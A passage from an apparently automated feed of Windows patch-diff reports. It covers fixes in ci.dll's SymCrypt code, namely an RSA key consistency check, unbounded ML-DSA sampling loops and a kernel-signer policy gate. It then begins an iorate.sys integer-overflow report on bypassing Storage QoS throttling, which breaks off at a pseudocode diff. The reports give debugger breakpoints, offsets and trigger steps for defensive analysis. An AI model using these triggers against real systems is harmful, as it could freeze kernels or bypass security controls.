- Output stride: &lt;code&gt;0x400&lt;/code&gt; bytes (&lt;code&gt;1 &amp;lt;&amp;lt; 10&lt;/code&gt;) per polynomial, accessed at &lt;code&gt;(index &amp;lt;&amp;lt; 0xa) + 8 + arg4&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2: Missing p·q==modulus Check — &lt;code&gt;SymCryptRsakeyCalculatePrivateFields (sub_180002D3C)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ci!sub_180002D3C
bp ci!sub_18001DA98
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Why:&lt;/strong&gt; &lt;code&gt;SymCryptRsakeyCalculatePrivateFields (sub_180002D3C)&lt;/code&gt; is the function missing the prime/modulus consistency check. &lt;code&gt;SymCryptRsakeySetValueInternal (sub_18001DA98)&lt;/code&gt; is the caller that (in the patched version) supplies the new &lt;code&gt;a7&lt;/code&gt; parameter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;
- At &lt;code&gt;sub_180002D3C&lt;/code&gt; entry:
  - &lt;code&gt;arg1&lt;/code&gt; (&lt;code&gt;rcx&lt;/code&gt;) = RSA key struct
  - &lt;code&gt;[arg1+0x1C]&lt;/code&gt; = number of prime factors (&lt;code&gt;*(a1+28)&lt;/code&gt;, should be 2 for the checked path)
  - &lt;code&gt;[arg1+0x18]&lt;/code&gt; = CRT exponent count
  - &lt;code&gt;[arg1+0x78]&lt;/code&gt;/&lt;code&gt;[arg1+0x80]&lt;/code&gt;/&lt;code&gt;[arg1+0x88]&lt;/code&gt; = modulus / prime[0] / prime[1] object pointers (the integer field is at +0x60)
- In the patched version, observe the new &lt;code&gt;a7&lt;/code&gt; parameter and check bit &lt;code&gt;0x200&lt;/code&gt;.
- After the private-field loops, observe that no p·q==n check occurs in the unpatched version.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key offsets:&lt;/strong&gt;
| Offset | Instruction | Significance |
|--------|-------------|--------------|
| &lt;code&gt;0x180002D3C&lt;/code&gt; | function entry | Break here |
| &lt;code&gt;~0x180002E71&lt;/code&gt; | private-field loop | New check inserted after this in patched |
| &lt;code&gt;~0x180002F05&lt;/code&gt; | CRT inner loop | Consistency check follows after this in patched |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt;
1. Import an RSA key via &lt;code&gt;SymCryptRsakeySetValueInternal&lt;/code&gt; with two primes that do not multiply to the modulus.
2. Ensure the flags argument (&lt;code&gt;a7&lt;/code&gt;) does not have bit &lt;code&gt;0x200&lt;/code&gt; set.
3. Compute private fields.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; Unpatched: inconsistent key accepted (returns success). Patched: &lt;code&gt;SymCryptFdefIntIsEqual (sub_180025E1C)&lt;/code&gt; reports non-equal, function returns &lt;code&gt;32782&lt;/code&gt; (&lt;code&gt;0x800E&lt;/code&gt;, SYMCRYPT_INVALID_ARGUMENT).&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3: Unbounded Rejection Loop — &lt;code&gt;SymCryptMlDsaSampleInBall (sub_18002A2E8)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ci!sub_18002A2E8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Why:&lt;/strong&gt; This function contains the unbounded inner rejection loop for challenge-polynomial sampling.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;
- &lt;code&gt;ebx&lt;/code&gt; (&lt;code&gt;rbx_1&lt;/code&gt;) = current index threshold, starts at &lt;code&gt;0x100 - *(rsi+0x18)&lt;/code&gt; and increments by 1 per accepted coefficient.
- &lt;code&gt;byte [rsp+0x20]&lt;/code&gt; (&lt;code&gt;var_148[0]&lt;/code&gt;) = squeezed byte, compared against &lt;code&gt;ebx&lt;/code&gt;. If always &lt;code&gt;&amp;gt; ebx&lt;/code&gt;, the inner loop does not terminate.
- &lt;code&gt;rsi+0x18&lt;/code&gt; = &lt;code&gt;tau&lt;/code&gt; field from the ML-DSA parameter structure.
- &lt;code&gt;r14&lt;/code&gt; = output buffer pointer (&lt;code&gt;arg4&lt;/code&gt;) where the challenge polynomial is written.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key offsets:&lt;/strong&gt;
| Offset | Instruction | Significance |
|--------|-------------|--------------|
| &lt;code&gt;0x18002A398&lt;/code&gt; | &lt;code&gt;lea rdi, [r14+rbx*4]&lt;/code&gt; | Outer loop — sets up output pointer |
| &lt;code&gt;0x18002A3A6&lt;/code&gt; | inner loop head (&lt;code&gt;xor r9d, r9d&lt;/code&gt;) | Resample target |
| &lt;code&gt;0x18002A3B6&lt;/code&gt; | &lt;code&gt;call SymCryptKeccakExtract&lt;/code&gt; | Squeeze 1 byte |
| &lt;code&gt;0x18002A3C2&lt;/code&gt; | &lt;code&gt;ja short loc_18002A3A6&lt;/code&gt; | &lt;strong&gt;UNBOUNDED&lt;/strong&gt; — no counter check |
| Patched &lt;code&gt;0x18002749E&lt;/code&gt; | &lt;code&gt;cmp edi, 79h&lt;/code&gt; / &lt;code&gt;jnb&lt;/code&gt; | Limit check added |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt;
1. Reach &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; via ML-DSA signing (&lt;code&gt;SymCryptMlDsaSignEx&lt;/code&gt;).
2. Requires a pathological/corrupted Keccak sponge state so the byte stays above the threshold (the sponge is the byte source, not external ASN.1).
3. Observe the non-terminating inner loop.
4. &lt;strong&gt;Warning:&lt;/strong&gt; if reachable in a running kernel this freezes the thread; use a VM with forced reset.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; Execution stuck looping at &lt;code&gt;loc_18002A3A6&lt;/code&gt;–&lt;code&gt;0x18002A3C2&lt;/code&gt;, calling &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt; at &lt;code&gt;0x18002A3B6&lt;/code&gt;. Call stack: &lt;code&gt;ci!SymCryptMlDsaSampleInBall&lt;/code&gt; ← &lt;code&gt;ci!SymCryptMlDsaSignEx (sub_180020C7C)&lt;/code&gt;. Patched build exits with &lt;code&gt;0x8008&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 4: Unbounded Rejection Loop — &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ci!sub_18002A06C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Why:&lt;/strong&gt; This function samples bounded coefficients from a Keccak sponge with an unbounded byte-read loop.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;
- &lt;code&gt;edi&lt;/code&gt; (unpatched) / &lt;code&gt;ebx&lt;/code&gt; (patched) = accepted coefficient counter, bounded by &lt;code&gt;0x100&lt;/code&gt;.
- &lt;code&gt;byte [r14+0x16]&lt;/code&gt; = &lt;code&gt;eta&lt;/code&gt; selector (&lt;code&gt;2&lt;/code&gt; or &lt;code&gt;4&lt;/code&gt;) — determines the nibble range.
- &lt;code&gt;byte [rsp+0x21]&lt;/code&gt; = current squeezed sponge byte.
- &lt;code&gt;r14&lt;/code&gt; (&lt;code&gt;arg1&lt;/code&gt;/&lt;code&gt;rcx&lt;/code&gt;) = Keccak/state context pointer.
- &lt;code&gt;r9&lt;/code&gt; (&lt;code&gt;arg4&lt;/code&gt;) = output buffer for sampled coefficients (&lt;code&gt;0x100&lt;/code&gt; entries max).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key offsets:&lt;/strong&gt;
| Offset | Instruction | Significance |
|--------|-------------|--------------|
| &lt;code&gt;0x18002A0EB&lt;/code&gt; | main loop head (&lt;code&gt;xor r9d, r9d&lt;/code&gt;) | Loop start |
| &lt;code&gt;0x18002A0FC&lt;/code&gt; | &lt;code&gt;call SymCryptKeccakExtract&lt;/code&gt; | Squeeze 1 byte |
| &lt;code&gt;0x18002A11A&lt;/code&gt; | &lt;code&gt;imul r8d, eax, 0Dh&lt;/code&gt; ... | Nibble-to-coefficient conversion (&lt;code&gt;eta&lt;/code&gt; 2) |
| &lt;code&gt;0x18002A140&lt;/code&gt; | &lt;code&gt;mov r8d, ebx; sub r8b, dl&lt;/code&gt; | Nibble-to-coefficient conversion (&lt;code&gt;eta&lt;/code&gt; 4) |
| &lt;code&gt;0x18002A1A1&lt;/code&gt; | &lt;code&gt;cmp dl, 80h; jz&lt;/code&gt; | Skip check — does not advance output |
| &lt;code&gt;0x18002A1CC&lt;/code&gt; | &lt;code&gt;cmp edi, 100h; jb loc_18002A0EB&lt;/code&gt; | Loop-back — &lt;strong&gt;no sponge-byte counter&lt;/strong&gt; |
| &lt;code&gt;0x18002A1D2&lt;/code&gt; | exit when output full | &lt;code&gt;edi &amp;gt;= 0x100&lt;/code&gt; |
| Patched &lt;code&gt;0x1800271A6&lt;/code&gt; | &lt;code&gt;cmp esi, 1E1h; jnb&lt;/code&gt; | Sponge-byte limit at loop head |
| Patched &lt;code&gt;0x1800272A9&lt;/code&gt; | &lt;code&gt;mov edi, 8008h&lt;/code&gt; | Error path (SYMCRYPT_EXTERNAL_FAILURE) |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt;
1. Requires a sponge state producing a long run of skip-decoding nibbles (&lt;code&gt;&amp;gt;= 9&lt;/code&gt; for &lt;code&gt;eta&lt;/code&gt; 4, &lt;code&gt;&amp;gt;= 15&lt;/code&gt; for &lt;code&gt;eta&lt;/code&gt; 2).
2. Reach the function via ML-DSA secret sampling.
3. Observe the coefficient counter not advancing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; Execution stuck in the loop at &lt;code&gt;0x18002A0EB&lt;/code&gt;–&lt;code&gt;0x18002A1D2&lt;/code&gt;, with &lt;code&gt;edi&lt;/code&gt; not advancing while &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt; is called repeatedly. No OOB read (bytes come from the sponge, not a bounded buffer). Patched build exits with &lt;code&gt;0x8008&lt;/code&gt; after &lt;code&gt;0x1E1&lt;/code&gt; bytes.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-Relevant Changes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt; → &lt;code&gt;(sub_18002651C)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.716&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Return value from &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; now checked; previously discarded and function always returned 0. CWE-252/CWE-754.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptRsakeyCalculatePrivateFields (sub_180002D3C)&lt;/code&gt; → &lt;code&gt;(sub_18000E324)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.745&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;New &lt;code&gt;a7&lt;/code&gt; parameter + p·q==modulus consistency check for 2-prime RSA keys. CWE-754 key validation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaSampleInBall (sub_18002A2E8)&lt;/code&gt; → &lt;code&gt;(sub_1800273E0)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.763&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Added iteration limit (&lt;code&gt;0x79&lt;/code&gt;) to unbounded challenge-sampling rejection loop. CWE-835.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; → &lt;code&gt;(sub_180027128)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.919&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Added sponge-byte counter (&lt;code&gt;0x1E1&lt;/code&gt;) to unbounded secret-coefficient rejection loop. CWE-835.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaSignEx (sub_180020C7C)&lt;/code&gt; → &lt;code&gt;(sub_180021394)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.525&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Added main-loop iteration bound (&lt;code&gt;s * 0x32E&lt;/code&gt;, &lt;code&gt;mov ecx, 32Eh&lt;/code&gt; at 0x180021561) and error propagation on the &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; call, returning &lt;code&gt;0x8008&lt;/code&gt; on overflow. Same non-termination-hardening class as Findings 3/4.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaKeyGenerateEx (sub_180020A14)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.831&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Added missing error checking on return value of &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484 / sub_18002651C)&lt;/code&gt;. &lt;strong&gt;Compounds Finding 1.&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaExpandA (sub_1800292E4)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.497&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Added error return checking on &lt;code&gt;SymCryptMlDsaRejNttPoly (sub_18002A20C)&lt;/code&gt; calls; previously continued loop regardless of errors.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaPkDecode (sub_180029840)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.943&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Added error checking on &lt;code&gt;SymCryptMlDsaExpandA (sub_180026374)&lt;/code&gt; return before using it as a size parameter to &lt;code&gt;SymCryptKeccakExtract (sub_18002C284)&lt;/code&gt;. Prevents incorrect size calculation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; (&lt;code&gt;@0x1800706C4&lt;/code&gt; → &lt;code&gt;@0x1800764A8&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Fix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Finding 5 (not SymCrypt).&lt;/strong&gt; Custom-kernel-signers decision now gated on new lock byte &lt;code&gt;byte_180048F08&lt;/code&gt; and restricted to base policies via &lt;code&gt;SIPolicyIsBasePolicy&lt;/code&gt;; unpatched accepted the enable bit at &lt;code&gt;+0x708&lt;/code&gt; from any policy, including supplemental. New helpers &lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed (@0x18007652C)&lt;/code&gt; and &lt;code&gt;SIPolicySetCustomKernelSignersLockedEnabled (@0x180076558)&lt;/code&gt; have no unpatched counterpart. CWE-693.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Behavioral Changes (Not Directly Exploitable)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CipProcessSIPolicyLogs (sub_1800DDF24)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.802&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Changed struct stride from &lt;code&gt;0xA0&lt;/code&gt; to &lt;code&gt;0x28&lt;/code&gt;; added new condition at end checking &lt;code&gt;arg1[0x2FC] &amp;amp; 0x40000&lt;/code&gt; with &lt;code&gt;arg1[0x26A]&lt;/code&gt;/&lt;code&gt;arg1[0x26B]&lt;/code&gt;. Likely related to SI policy log reporting.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_EvaluateFeatureDependencies_ReevaluateCachedFeatureEnabledState (sub_1800576AC)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.754&lt;/td&gt;
&lt;td&gt;Feature-flag&lt;/td&gt;
&lt;td&gt;WIL feature-flag/dependency evaluation: flag check tightened from bit 6 only to require both bits 10+11 (&lt;code&gt;0xC00&lt;/code&gt;, &lt;code&gt;mov ecx, 0C00h&lt;/code&gt; at 0x18005965D); clears bit 10 on failure. Feature-staging logic, not a security fix.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_GetCurrentFeatureEnabledState (sub_180019264)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.748&lt;/td&gt;
&lt;td&gt;Feature-flag&lt;/td&gt;
&lt;td&gt;WIL feature-flag evaluation restructured with the &lt;code&gt;0xC00&lt;/code&gt; bit check; added call to &lt;code&gt;wil_details_AreDependenciesEnabled (sub_180019064)&lt;/code&gt;. Feature-staging logic, not a security fix.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureStateCache_ReevaluateCachedFeatureEnabledState (sub_180019100)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.973&lt;/td&gt;
&lt;td&gt;Feature-flag&lt;/td&gt;
&lt;td&gt;Now always sets bit 18 (&lt;code&gt;0x40000&lt;/code&gt;) in the WIL feature-state result. Minor flag change.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Cosmetic / Register Reallocation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SymCryptFdefDecideModulusType (sub_18000E99C)&lt;/code&gt; (0.970): Minor register reallocation and variable renaming. No behavioral change.&lt;/li&gt;
&lt;li&gt;The remaining ~70 changed functions (not individually listed in the diff output) are presumed to be similar cosmetic/register changes or minor control-flow reordering due to the overall structural changes in the security-relevant functions.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;The name-based diff reported no unmatched functions (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;), but a content review of Finding 5 shows two small helper functions in the patched build — &lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed (@0x18007652C)&lt;/code&gt; and &lt;code&gt;SIPolicySetCustomKernelSignersLockedEnabled (@0x180076558)&lt;/code&gt; — that have no content match in the unpatched binary; these are the new custom-kernel-signers lock/enable helpers. No existing sanitizer functions were removed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Overall confidence: HIGH&lt;/strong&gt; that these are the four code changes described; &lt;strong&gt;LOW&lt;/strong&gt; on real-world exploitability, since all four sit in SymCrypt key-generation / self-test crypto code with no demonstrated attacker-controlled input path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rationale:&lt;/strong&gt;
- The pseudocode and assembly for all four findings were confirmed against both binaries: the return-value check (Finding 1), the p·q==modulus check (Finding 2), and the two rejection-loop iteration bounds (Findings 3, 4) are present in the patched build and absent in the unpatched build.
- All affected functions carry real SymCrypt/WIL symbols at the cited addresses; none of them are Authenticode certificate-chain, PE-load, or ASN.1 signature-parsing routines.
- The call chains reflect the SymCrypt-internal caller/callee relationships (ML-DSA key generation, key import, signing, self-test; RSA key import).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions made:&lt;/strong&gt;
- The module is Windows &lt;code&gt;ci.dll&lt;/code&gt; (Code Integrity), which statically links SymCrypt; the changed functions are SymCrypt (ML-DSA/RSA/Keccak) and WIL feature-flag routines.
- The SymCrypt error codes are &lt;code&gt;0x8008&lt;/code&gt; (SYMCRYPT_EXTERNAL_FAILURE, decimal 32776) and &lt;code&gt;0x800E&lt;/code&gt; (SYMCRYPT_INVALID_ARGUMENT, decimal 32782); earlier CRYPT_E/TRUST_E interpretations do not apply.
- The struct offsets are taken from the decompilation and may differ slightly by build version.
- For Finding 4 there is no OOB read: the byte source is a Keccak sponge, not a bounded input buffer, so the only pre-patch effect is potential non-termination.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to verify before treating any of these as attacker-reachable:&lt;/strong&gt;
1. &lt;strong&gt;Confirm reachability:&lt;/strong&gt; Determine whether any caller feeds attacker-controlled data into ML-DSA/RSA key material; the self-test paths use fixed vectors.
2. &lt;strong&gt;Confirm struct offsets:&lt;/strong&gt; Dump the ML-DSA/RSA key struct at &lt;code&gt;arg1&lt;/code&gt; to verify the polynomial/prime counts and pointers.
3. &lt;strong&gt;Finding 1/3/4:&lt;/strong&gt; Confirm the rejection loops can be driven to their bounds only under a corrupted sponge/incomplete-sampling state, not by external signature bytes.
4. &lt;strong&gt;Finding 2:&lt;/strong&gt; Verify the new &lt;code&gt;a7&lt;/code&gt; parameter (7th argument) and the value the caller &lt;code&gt;SymCryptRsakeySetValueInternal (sub_18001DA98)&lt;/code&gt; assigns to it (bit &lt;code&gt;0x200&lt;/code&gt; skips the check).
5. &lt;strong&gt;Nibble mapping (Finding 4):&lt;/strong&gt; Validate the formula &lt;code&gt;((nibble * 0xD) &amp;gt;&amp;gt; 6) * 5 - nibble + 2&lt;/code&gt; and the &lt;code&gt;0x80&lt;/code&gt; skip mapping via tracing.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>iorate.sys — Integer overflow in I/O rate-limit accounting bypasses Storage QoS throttling (CWE-190) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/iorate_aa6f06d6-iorate-report-20260626-005725.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/iorate_aa6f06d6-iorate-report-20260626-005725.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;iorate_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;iorate_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Similarity Score:&lt;/strong&gt; 98.87%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 95 matched functions, 94 identical, 1 changed. 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch remediates an integer overflow vulnerability (CWE-190) in the core rate-limit calculation function, which previously allowed sustained I/O operations to bypass Storage QoS controls once a large volume of data had been transferred.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Integer Overflow / Wraparound (CWE-190) leading to logic bypass.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;IoRateIsRateAmountDepleted&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause Analysis:&lt;/strong&gt;
The function &lt;code&gt;IoRateIsRateAmountDepleted&lt;/code&gt; is responsible for determining if a process or volume has exhausted its assigned I/O rate budget (Storage QoS), returning a flag that dictates whether the I/O manager should throttle subsequent operations. To make this decision, the function accumulates I/O byte counters from various structure fields into the &lt;code&gt;r10&lt;/code&gt; register. It then scales this value to 100-nanosecond time units by multiplying it by &lt;code&gt;0x989680&lt;/code&gt; (10,000,000) using a standard 64-bit &lt;code&gt;imul&lt;/code&gt; instruction. &lt;/p&gt;
&lt;p&gt;If a malicious or high-throughput process generates enough I/O that the accumulated byte counter (&lt;code&gt;r10&lt;/code&gt;) exceeds ~1.8 TB (specifically, &lt;code&gt;r10 &amp;gt; 2^64 / 10,000,000&lt;/code&gt;), the 64-bit multiplication silently overflows and wraps to a small, unpredictable value. This corrupted value is subsequently used in a comparison (&lt;code&gt;cmp r8, rcx&lt;/code&gt;) against the process's allocated rate budget. Because the calculated threshold is now erroneously small, the function falsely concludes that the rate limit has not been reached ("not depleted"). Consequently, throttling is bypassed, permitting unthrottled disk I/O and enabling a Denial of Service (DoS) condition. The patch resolves this by replacing all critical additions with saturating arithmetic (clamping to &lt;code&gt;-1&lt;/code&gt; on overflow) and replacing the vulnerable &lt;code&gt;imul&lt;/code&gt; instructions with full 128-bit &lt;code&gt;mul&lt;/code&gt; operations that saturate to a hardcoded cap (&lt;code&gt;0x3b9aca00&lt;/code&gt; or &lt;code&gt;0xFFFFFFFF&lt;/code&gt;) if the upper 64 bits are nonzero.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. An I/O request packet (IRP) is issued by a user-mode application (e.g., via &lt;code&gt;ReadFile&lt;/code&gt; or &lt;code&gt;WriteFile&lt;/code&gt;).
2. The kernel dispatches this as &lt;code&gt;IRP_MJ_READ&lt;/code&gt; or &lt;code&gt;IRP_MJ_WRITE&lt;/code&gt; to &lt;code&gt;IoRateDispatchReadWrite&lt;/code&gt;.
3. The IRP flows through &lt;code&gt;IoRateProcessIrpWrapper&lt;/code&gt; -&amp;gt; &lt;code&gt;IoRateProcessIrpHelper&lt;/code&gt; / &lt;code&gt;IoRateThrottleIrp&lt;/code&gt;.
4. The system queries the rate limit reason via &lt;code&gt;IoRateGetReason&lt;/code&gt; -&amp;gt; &lt;code&gt;IoRateGetRateControlsReason&lt;/code&gt;.
5. &lt;code&gt;IoRateControlStateGet&lt;/code&gt; queries the specific depletion state.
6. &lt;code&gt;IoRateIsRateAmountDepleted&lt;/code&gt; executes the vulnerable arithmetic to determine if throttling is required.&lt;/p&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;p&gt;The following pseudocode reflects the decompiled unpatched logic versus the patched saturating logic. &lt;code&gt;amount&lt;/code&gt; is the accumulated I/O counter (&lt;code&gt;r10&lt;/code&gt;), &lt;code&gt;elapsed&lt;/code&gt; is the current time minus the rate-window start (&lt;code&gt;r8&lt;/code&gt;, in 100ns units), and the function returns 1 (window satisfied, caller does not throttle) or 0 (window not satisfied, caller throttles this I/O).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED LOGIC ---&lt;/span&gt;
